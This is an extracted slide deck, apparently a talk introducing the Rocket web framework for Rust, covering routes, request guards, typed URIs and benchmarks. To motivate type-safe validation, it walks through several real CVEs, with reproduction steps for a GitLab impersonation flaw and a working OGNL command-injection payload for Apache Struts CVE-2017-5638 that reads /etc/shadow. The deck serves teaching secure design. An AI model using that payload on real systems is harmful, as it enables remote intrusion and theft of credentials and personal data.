Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that - - PowerPoint PPT Presentation

sergio benitez
SMART_READER_LITE
LIVE PREVIEW

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that - - PowerPoint PPT Presentation

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety. Rocket is a web framework for Rust that makes it simple to write fast web


slide-1
SLIDE 1
slide-2
SLIDE 2

Sergio Benitez

sb@sergio.bz

slide-3
SLIDE 3
slide-4
SLIDE 4

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

slide-5
SLIDE 5

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

slide-6
SLIDE 6

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

  • Memory-safe without a GC.
  • No data races.
  • Minimal runtime.
  • Powerful macro systems.
slide-7
SLIDE 7

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

slide-8
SLIDE 8
  • Dec. 23, 2016

Launch!

  • Feb. 06, 2017

v0.2

⋆ 2,855

  • Jul. 14, 2017

v0.3

slide-9
SLIDE 9
  • Dec. 23, 2016

Launch!

  • Feb. 06, 2017

v0.2

⋆ 2,855

  • Jul. 14, 2017

v0.3

in production

slide-10
SLIDE 10
slide-11
SLIDE 11
  • Dec. 23, 2016

Launch!

  • Feb. 06, 2017

v0.2

⋆ 2,855

  • Jul. 14, 2017

v0.3

slide-12
SLIDE 12

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

slide-13
SLIDE 13

Y a W F ! ?

slide-14
SLIDE 14

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

slide-15
SLIDE 15

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

slide-16
SLIDE 16

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

slide-17
SLIDE 17

Rocket’s Philosophy

Decisions should not be forced upon users. 1 Function declaration and parameter types should contain all the necessary information to validate and process a request. 2 3 All request handling information should be typed.

slide-18
SLIDE 18

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

slide-19
SLIDE 19

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

  • Declarative syntax for matching conditions.
slide-20
SLIDE 20

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

  • Declarative syntax for matching conditions.
  • Typed validation before handler execution.
slide-21
SLIDE 21

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

  • Declarative syntax for matching conditions.
  • Typed validation before handler execution.
  • Types directly describe functionality.
slide-22
SLIDE 22

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

  • Declarative syntax for matching conditions.
  • Typed validation before handler execution.
  • Types directly describe functionality.
slide-23
SLIDE 23

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

slide-24
SLIDE 24
slide-25
SLIDE 25

CVE-2009-2853 impact 10

slide-26
SLIDE 26

CVE-2009-2853 (impact 10)

Wordpress before 2.8.3 allows remote attackers to gain privileges via a direct request to [8 different endpoints].

slide-27
SLIDE 27

CVE-2009-2853 (impact 10)

  • -- a/trunk/wp-admin/admin-footer.php

+++ b/trunk/wp-admin/admin-footer.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); ?>

  • -- a/branches/2.8/wp-admin/import.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

  • -- a/branches/2.8/wp-admin/edit-tag-form.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

  • -- a/branches/2.8/wp-admin/edit-category-form.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

Take 1

slide-28
SLIDE 28

CVE-2009-2853 (impact 10)

  • -- a/trunk/wp-admin/admin-footer.php

+++ b/trunk/wp-admin/admin-footer.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); ?>

  • -- a/trunk/wp-admin/edit-form-advanced.php

+++ b/trunk/wp-admin/edit-form-advanced.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); /**

  • -- a/trunk/wp-admin/edit-link-form.php

+++ b/trunk/wp-admin/edit-link-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( ! empty($link_id) ) {

  • -- a/trunk/wp-admin/edit-tag-form.php

+++ b/trunk/wp-admin/edit-tag-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( !current_user_can('manage_categories') )

  • -- a/trunk/wp-admin/edit-category-form.php

+++ b/trunk/wp-admin/edit-category-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( !current_user_can('manage_categories') )

Take 2

slide-29
SLIDE 29
slide-30
SLIDE 30
slide-31
SLIDE 31

By passing the right parameters while updating a user, that user is able to assign any existing role to themselves.

slide-32
SLIDE 32

def update_user params[:user] # => {:name => “ow3ned”, :role => “admin”} @user = User.new(params[:user]) end

Mass Assignment Vulnerability

slide-33
SLIDE 33

def update_user params[:user] # => {:name => “ow3ned”, :role => “admin”} @user = User.new(params[:user]) end + params[:user].delete("role")

Tie “Fix”

slide-34
SLIDE 34
slide-35
SLIDE 35

CVE-2016-4340 impact 8.8

slide-36
SLIDE 36

We discovered a critical security flaw…the "impersonate" feature was not properly secured. It was possible for any authenticated user, administrator or not, to "log in" as any other user, including administrators.

CVE-2016-4340 (impact 8.8)

slide-37
SLIDE 37

CVE-2016-4340 (impact 8.8)

  • 1. Login as regular user.
  • 2. Get current authenticity token from cookies/requests.
  • 3. Craft request using following template:

POST /admin/users/stop_impersonation?id=${username}

_method=delete&authenticity_token=${auth_token}

slide-38
SLIDE 38

CVE-2016-4340 (impact 8.8)

def authenticate_admin! return render_404 unless current_user.is_admin? end def authorize_impersonator! if session[:impersonator_id] User.find_by!(username: session[:impersonator_id]).admin? end end class Admin::ImpersonationController < Admin::ApplicationController skip_before_action :authenticate_admin!, only: :destroy before_action :user before_action :authorize_impersonator! def user @user ||= User.find_by!(username: params[:id] || session[:impersonator_id]) end def destroy redirect = session[:impersonator_return_to] warden.set_user(user, scope: 'user') redirect_to redirect || root_path end end

slide-39
SLIDE 39

CVE-2016-4340 (impact 8.8)

def authenticate_admin! return render_404 unless current_user.is_admin? end def authorize_impersonator! if session[:impersonator_id] User.find_by!(username: session[:impersonator_id]).admin? end end class Admin::ImpersonationController < Admin::ApplicationController skip_before_action :authenticate_admin!, only: :destroy before_action :user before_action :authorize_impersonator! def user @user ||= User.find_by!(username: params[:id] || session[:impersonator_id]) end def destroy redirect = session[:impersonator_return_to] warden.set_user(user, scope: 'user') redirect_to redirect || root_path end end

slide-40
SLIDE 40
slide-41
SLIDE 41
slide-42
SLIDE 42

CVE-2017-5638 impact 10 (!)

slide-43
SLIDE 43

Tie Jakarta Multipart parser in Apache Struts 2 has incorrect exception handling […], [allowing] remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition,

  • r Content-Length HTTP header.

CVE-2017-5638 (impact 10)

slide-44
SLIDE 44

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

slide-45
SLIDE 45

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

slide-46
SLIDE 46

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /etc/shadow')." payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

slide-47
SLIDE 47

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /data/all/americans/ssn.tsv').” payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

slide-48
SLIDE 48
slide-49
SLIDE 49
slide-50
SLIDE 50

Hello, World!

slide-51
SLIDE 51

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

slide-52
SLIDE 52

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

slide-53
SLIDE 53

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

slide-54
SLIDE 54

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

slide-55
SLIDE 55

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

slide-56
SLIDE 56

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

slide-57
SLIDE 57

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Routes need to be mounted to make Rocket aware.

slide-58
SLIDE 58

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Ignition constructs a Rocket instance for mounting and launching.

slide-59
SLIDE 59

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

slide-60
SLIDE 60

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/hello", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

slide-61
SLIDE 61

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

slide-62
SLIDE 62

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server.

slide-63
SLIDE 63

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server. (also prints emojis !)

slide-64
SLIDE 64

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server. (also prints emojis !)

slide-65
SLIDE 65

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

slide-66
SLIDE 66

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/world")] fn hello() -> &'static str { "Hello, world!" }

slide-67
SLIDE 67

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/sergio")] fn hello() -> &'static str { "Hello, Sergio!" }

slide-68
SLIDE 68

Dynamic Paths Request Guards Data Guards Typed URIs

slide-69
SLIDE 69

Dynamic Paths

slide-70
SLIDE 70

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

slide-71
SLIDE 71

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Name in <brackets> must have matching function argument.
slide-72
SLIDE 72

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Name in <brackets> must have matching function argument.
slide-73
SLIDE 73
  • Name in <brackets> must have matching function argument.

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

slide-74
SLIDE 74

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Name in <brackets> must have matching function argument.
slide-75
SLIDE 75

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Name in <brackets> must have matching function argument.
slide-76
SLIDE 76

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Type of dynamic parameter is declared in handler signature.
  • Any type implementing FromParam is allowed.
slide-77
SLIDE 77

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

  • Handler can only be called if FromParam conversion succeeds.
slide-78
SLIDE 78

Preventing Directory Traversal

1 2 3 4

Implication: handlers are only called with validated data!

#[get(“/<path..>")] fn files(path: PathBuf) -> Option<NamedFile> { NamedFile::open(Path::new("static/").join(path)).ok() }

  • FromParam* implementation for PathBuf verifies path safety.
slide-79
SLIDE 79

Request Guards

slide-80
SLIDE 80

Request Guards

1 2 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

Arbitrary number of FromRequest parameters allowed.

slide-81
SLIDE 81

Request Guards

1 2 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

Request guards validate incoming request, protect handlers.

  • Guards may fail, preventing further request processing.
  • Guards may forward, indicating local failure.
slide-82
SLIDE 82

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-83
SLIDE 83

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-84
SLIDE 84

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-85
SLIDE 85

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin")] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-86
SLIDE 86

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-87
SLIDE 87

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin")] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-88
SLIDE 88

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-89
SLIDE 89

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

Forwarding: Rocket attempts colliding routes in ascending rank order.

#[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

slide-90
SLIDE 90

Request Guards & Forwarding

1 2 3 4 5 6 7 8 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... } #[get("/admin", rank = 3)] fn admin_panel_redirect() -> Redirect { ... } #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }

slide-91
SLIDE 91

Data Guards

slide-92
SLIDE 92

Parsing Form Data

1 2 3 4 struct Task { description: String, completed: bool }

slide-93
SLIDE 93

Parsing Form Data

1 2 3 4 5 6 7 8 9 10 11 12 struct Task { description: String, completed: bool } #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } }

slide-94
SLIDE 94

Parsing Form Data

1 2 3 4 5 6 7 8 9 10 11 12 struct Task { description: String, completed: bool } #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } }

slide-95
SLIDE 95

Parsing Form Data

1 2 3 4 5 6 7 8 9 10 11 12 13 struct Task { description: String, completed: bool } #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } } #[derive(FromForm)]

slide-96
SLIDE 96

Parsing Form Data

1 2 3 4 5 6 7 8 9 10 11 12 13 struct Task { description: String, completed: bool } #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } } #[derive(FromForm)]

slide-97
SLIDE 97

Parsing Form Data

1 2 3 4 5 6 7 #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } }

FromData types parse and validate body data.

slide-98
SLIDE 98

Parsing Form Data

1 2 3 4 5 6 7 #[post("/", data = "<todo>")] fn new(todo: Form<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } }

FromData types parse and validate body data.

  • Any type implementing FromData is allowed (here, Form).
  • Structure is automatically deserialized from form data.
slide-99
SLIDE 99

Parsing JSON Data

1 2 3 4 5 6 7 #[post("/", data = "<todo>")] fn new(todo: Json<Task>) -> Flash<Redirect> { match todo.inner() { Ok(task) => Flash::success(Redirect::to("/"), "Added."), Err(e) => Flash::error(Redirect::to("/"), e) } }

FromData types parse and validate body data.

  • Any type implementing FromData is allowed (here, Json).
  • Structure is automatically deserialized from JSON data.
slide-100
SLIDE 100

Typed URIs

slide-101
SLIDE 101

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... }

slide-102
SLIDE 102

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 format!("/inventory/shirt/2417");

slide-103
SLIDE 103

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 format!("/inventory/shirt/2417"); 1 uri!(item: Product::Shirt, 2417);

slide-104
SLIDE 104

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: Product::Shirt, 2417);

slide-105
SLIDE 105

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: product = Product::Shirt, id = 2417);

slide-106
SLIDE 106

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: id = 2417, product = Product::Shirt);

slide-107
SLIDE 107

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: item = Product::Shirt, id = 2417);

slide-108
SLIDE 108

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: item = Product::Shirt, id = 2417);

slide-109
SLIDE 109

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: item = Product::Shirt, id = 2417);

slide-110
SLIDE 110

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: product = Product::Shirt, id = 2417);

slide-111
SLIDE 111

1 2 3 4

Typed URIs

#[get("/inventory/<product>/<id>")] fn item(product: Product, id: usize) -> Item { ... } 1 uri!(item: product = Product::Shirt, id = 2417); => "/inventory/shirt/2417"

slide-112
SLIDE 112

Performance

slide-113
SLIDE 113

Rails Express Flask Rocket Throughput (requests/s, higher is better) 10000 20000 30000 40000

slide-114
SLIDE 114

Rails Express Flask Rocket Average Latency (µs, lower is better) 1 2 3 4 5 6 7 8 9 10

slide-115
SLIDE 115

Rails Express Flask Rocket Max Latency (µs, lower is better) 10 20 30 40 50 60 70 80 90 100 110 120 130 140

slide-116
SLIDE 116

Rails Express Flask Rocket Max Latency (µs, lower is better) 0.1 1 10 100 1000

slide-117
SLIDE 117

Avg. Max Rails Express Flask Rocket Rails Express Flask Rocket Latency (µs, lower is better) 0.1 1 10 100 1000

slide-118
SLIDE 118

Rails Express Flask Rocket Throughput (requests/s, higher is better) 10000 20000 30000 40000 Rails Express Flask Rocket Average Latency (µs, lower is better) 1 2 3 4 5 6 7 8 9 10 Rails Express Flask Rocket Max Latency (µs, lower is better) 20 40 60 80 100 120 140

slide-119
SLIDE 119
slide-120
SLIDE 120

https://rocket.rs

guide, tutorial, docs, news, code

slide-121
SLIDE 121

Sergio Benitez

sb@sergio.bz